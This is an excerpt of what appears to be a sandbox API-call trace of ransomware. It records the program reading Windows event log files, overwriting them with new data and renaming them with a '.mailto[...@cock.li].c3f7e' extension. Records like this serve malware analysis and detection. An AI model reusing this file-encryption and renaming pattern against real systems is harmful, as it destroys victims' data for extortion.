	[0080.348] NtSetInformationFile (FileHandle=0x1334, IoStatusBlock=0x1143f99c, FileInformation=0x477d7c0, Length=0xca, FileInformationClass=0xa) 

Thread:
	id = 424
	os_tid = 0x15c8

	[0076.961] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20
	[0080.480] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.480] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x978
	[0080.480] GetFileSizeEx (in: hFile=0x978, lpFileSize=0x114bf930 | out: lpFileSize=0x114bf930*=69632) returned 1
	[0080.480] SetFilePointerEx (in: hFile=0x978, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.480] ReadFile (in: hFile=0x978, lpBuffer=0x114bf8b4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x114bf8b0, lpOverlapped=0x0 | out: lpBuffer=0x114bf8b4*, lpNumberOfBytesRead=0x114bf8b0*=0x4, lpOverlapped=0x0) returned 1
	[0080.938] SetFilePointerEx (in: hFile=0x978, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.938] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0080.938] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773d0
	[0080.938] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0080.938] NtQuerySystemTime (in: CurrentTime=0x114bf890 | out: CurrentTime=0x114bf890*=132251868076712953) returned 0x0
	[0080.938] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xc92af5dd
	[0080.938] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xf46c0915
	[0080.938] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0x81f86ce8
	[0080.938] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0x1ef98a01
	[0080.938] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xb6108db2
	[0080.938] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0x22770e50
	[0080.938] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xfc501c71
	[0080.938] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0x7f93cf28
	[0080.938] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xd4d76fe9
	[0080.938] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xb5fe892e
	[0080.938] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0x861d5970
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0x40388069
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xdeec010a
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xfecc81b0
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0x7a858edf
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xccdc3723
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0x455f0ae2
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0x16c6e83
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xa7de1650
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xc2fa7625
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xa30633b6
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xcf340196
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xfd80b036
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xd8e699d8
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xcbe46e04
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0x405212d9
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0x6fa86274
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xbf9fed5e
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0xd1125454
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0x7d25fba5
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0x377f877f
	[0080.939] RtlRandom (in: Seed=0x114bf89c | out: Seed=0x114bf89c) returned 0x60556b17
	[0080.950] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77100
	[0080.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0080.951] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.951] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0080.951] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0080.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x481f808
	[0080.954] SetFilePointerEx (in: hFile=0x978, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.954] ReadFile (in: hFile=0x978, lpBuffer=0x481f808, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x114bf870, lpOverlapped=0x0 | out: lpBuffer=0x481f808*, lpNumberOfBytesRead=0x114bf870*=0xc800, lpOverlapped=0x0) returned 1
	[0081.140] SetFilePointerEx (in: hFile=0x978, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.141] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.142] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5011020
	[0081.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.145] WriteFile (in: hFile=0x978, lpBuffer=0x5011020*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x114bf870, lpOverlapped=0x0 | out: lpBuffer=0x5011020*, lpNumberOfBytesWritten=0x114bf870*=0xc800, lpOverlapped=0x0) returned 1
	[0084.733] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5011020) returned 1
	[0084.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481f808) returned 1
	[0084.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x67) returned 0x47ecea0
	[0084.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x67) returned 0x47ecdc0
	[0084.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e341b8
	[0084.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34488
	[0084.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34488) returned 1
	[0084.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.736] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0084.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14b) returned 0x2d884f0
	[0084.736] SetFilePointerEx (in: hFile=0x978, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.736] WriteFile (in: hFile=0x978, lpBuffer=0x2d884f0*, nNumberOfBytesToWrite=0x14b, lpNumberOfBytesWritten=0x114bf8f0, lpOverlapped=0x0 | out: lpBuffer=0x2d884f0*, lpNumberOfBytesWritten=0x114bf8f0*=0x14b, lpOverlapped=0x0) returned 1
	[0084.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d884f0) returned 1
	[0084.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecdc0) returned 1
	[0084.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e341b8) returned 1
	[0084.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecea0) returned 1
	[0084.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0084.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773d0) returned 1
	[0084.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77100) returned 1
	[0084.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0084.744] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4f2dda0
	[0084.744] wcscpy (in: _Dest=0x4f2dda0, _Source="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx"
	[0084.744] wcscat (in: _Dest=0x4f2dda0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.744] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x114bf8a8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.744] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4718690
	[0084.744] NtSetInformationFile (FileHandle=0x978, IoStatusBlock=0x114bf8a0, FileInformation=0x4718690, Length=0xc8, FileInformationClass=0xa) returned 0x0
	[0087.784] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718690) returned 1
	[0087.784] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924898) returned 1
	[0087.784] NtQueryInformationFile (in: FileHandle=0x978, IoStatusBlock=0x114bf8b4, FileInformation=0x114bf88c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x114bf8b4, FileInformation=0x114bf88c) returned 0x0
	[0087.784] NtSetInformationFile (FileHandle=0x978, IoStatusBlock=0x114bf8b4, FileInformation=0x114bf88c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2dda0) returned 1
	[0087.803] FlushFileBuffers (hFile=0x978) returned 1
	[0092.921] CloseHandle (hObject=0x978) 

Thread:
	id = 425
	os_tid = 0x15cc

	[0076.961] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20
	[0080.358] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx", dwFileAttributes=0x20) returned 1
	[0080.361] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c
	[0080.361] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x1153fe38 | out: lpFileSize=0x1153fe38*=69632) returned 1
	[0080.361] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.361] ReadFile (in: hFile=0x96c, lpBuffer=0x1153fdbc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1153fdb8, lpOverlapped=0x0 | out: lpBuffer=0x1153fdbc*, lpNumberOfBytesRead=0x1153fdb8*=0x4, lpOverlapped=0x0) returned 1
	[0080.367] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0080.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0080.367] NtQuerySystemTime (in: CurrentTime=0x1153fd98 | out: CurrentTime=0x1153fd98*=132251868071087943) returned 0x0
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0xd33af095
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x9aa9d6fc
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0xfca52c49
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0xe781860e
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x7a834ec1
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0xfae5dc02
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0xeddb426b
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x718e3fe6
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x891f9d7d
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0xa8c6dcdf
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0xd426579e
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0xa317860c
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x7d2319aa
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0xbae7504d
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x75fc539e
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x94ae6928
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x5e08e2a1
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0xfb5d2c09
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0xc2034c9c
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0xd5684e28
	[0080.367] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x2140ab4a
	[0080.368] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x8e2333fc
	[0080.368] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0xf67ad871
	[0080.368] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x45228f14
	[0080.368] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0xcc8b043
	[0080.368] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x3dcc55a4
	[0080.368] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x63513df8
	[0080.368] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x7d80247e
	[0080.368] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0xa3979283
	[0080.368] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x6569a991
	[0080.368] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x7003346
	[0080.368] RtlRandom (in: Seed=0x1153fda4 | out: Seed=0x1153fda4) returned 0x95f8f2a5
	[0080.374] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0080.376] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.376] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0080.376] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.376] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0080.376] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.376] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eeb010
	[0080.376] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.376] ReadFile (in: hFile=0x96c, lpBuffer=0x4eeb010, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1153fd78, lpOverlapped=0x0 | out: lpBuffer=0x4eeb010*, lpNumberOfBytesRead=0x1153fd78*=0xc800, lpOverlapped=0x0) returned 1
	[0080.377] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0080.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0080.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0080.377] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0080.378] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4698050
	[0080.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0080.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0080.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0080.379] WriteFile (in: hFile=0x96c, lpBuffer=0x4698050*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1153fd78, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesWritten=0x1153fd78*=0xc800, lpOverlapped=0x0) returned 1
	[0084.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4698050) returned 1
	[0084.639] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eeb010) returned 1
	[0084.639] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x47ecea0
	[0084.639] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34758) returned 1
	[0084.639] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x47ec9d0
	[0084.639] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34708
	[0084.639] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34528
	[0084.639] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0084.639] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.639] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0084.639] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x145) returned 0x2d884f0
	[0084.639] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.640] WriteFile (in: hFile=0x96c, lpBuffer=0x2d884f0*, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x1153fdf8, lpOverlapped=0x0 | out: lpBuffer=0x2d884f0*, lpNumberOfBytesWritten=0x1153fdf8*=0x145, lpOverlapped=0x0) returned 1
	[0084.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d884f0) returned 1
	[0084.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec9d0) returned 1
	[0084.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34708) returned 1
	[0084.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecea0) returned 1
	[0084.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0084.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0084.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0084.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0084.644] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x481a028
	[0084.644] wcscpy (in: _Dest=0x481a028, _Source="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx"
	[0084.644] wcscat (in: _Dest=0x481a028, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.644] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1153fdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.644] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4719530
	[0084.644] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x1153fda8, FileInformation=0x4719530, Length=0xc2, FileInformationClass=0xa) returned 0x0
	[0087.787] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719530) returned 1
	[0087.787] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769c68) returned 1
	[0087.787] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x1153fdbc, FileInformation=0x1153fd94, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1153fdbc, FileInformation=0x1153fd94) returned 0x0
	[0087.787] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x1153fdbc, FileInformation=0x1153fd94, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a028) returned 1
	[0087.799] FlushFileBuffers (hFile=0x96c) returned 1
	[0092.917] CloseHandle (hObject=0x96c) 

Thread:
	id = 426
	os_tid = 0x15d0

	[0076.962] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20
	[0080.483] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.483] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13fc
	[0080.483] GetFileSizeEx (in: hFile=0x13fc, lpFileSize=0x115bfb7c | out: lpFileSize=0x115bfb7c*=69632) returned 1
	[0080.483] SetFilePointerEx (in: hFile=0x13fc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.483] ReadFile (in: hFile=0x13fc, lpBuffer=0x115bfb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x115bfafc, lpOverlapped=0x0 | out: lpBuffer=0x115bfb00*, lpNumberOfBytesRead=0x115bfafc*=0x4, lpOverlapped=0x0) returned 1
	[0080.900] SetFilePointerEx (in: hFile=0x13fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0080.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0080.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77268
	[0080.900] NtQuerySystemTime (in: CurrentTime=0x115bfadc | out: CurrentTime=0x115bfadc*=132251868076401236) returned 0x0
	[0080.900] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x3f9574af
	[0080.900] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0xbf41902c
	[0080.900] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x8c31fe88
	[0080.900] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0xfcd4652d
	[0080.900] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0xff3c70a0
	[0080.900] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x14e395f
